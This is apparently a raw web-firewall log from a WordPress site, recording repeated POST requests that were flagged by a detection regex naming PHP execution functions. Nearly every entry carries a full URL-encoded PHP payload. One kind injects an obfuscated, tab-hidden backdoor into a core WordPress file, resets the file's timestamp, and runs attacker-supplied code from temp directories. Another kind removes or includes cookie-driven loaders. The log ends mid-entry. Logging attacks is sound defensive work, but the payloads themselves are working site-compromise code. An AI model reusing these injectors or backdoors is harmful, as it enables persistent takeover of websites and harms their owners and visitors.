0=71\nsec-ch-ua-mobile:?0\n\nnL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/site-settings.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24new_content%20%3D%20str_repeat%28%22%5Ct%22%2C%2042%29.rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B25%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B25%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B25%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B9%255D%2528%2529.%2524p%255B6%255D%253Bif%2528%2521%2524p%255B29%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B26%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B22%255D%2528%2524n%252C%2524p%255B24%255D.%2524p%255B28%255D%2528%2524p%255B2%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29.%22%5Cn%22%3B%20if%20%28file_exists%28%24path%29%20%26%26%20is_writable%28%24path%29%29%20%7B%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20if%20%28strpos%28%24content%2C%20%24new_content%29%20%21%3D%3D%20FALSE%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20str_replace%28%24new_content%2C%20%27%27%2C%20%24content%29%3B%20%20%20%20%20%20%20%20%20file_put_contents%28%24path%2C%20%24content%29%3B%20%20%20%20%20%20%20%20%20%40touch%28%24path%2C%20%24ft%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21success%21%27%29%3B"]
["2026-05-12 10:47:21","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> or:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvo3VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4401\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nor=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:23","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4401\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp1LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nsV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:25","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4401\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMURvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\ndq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if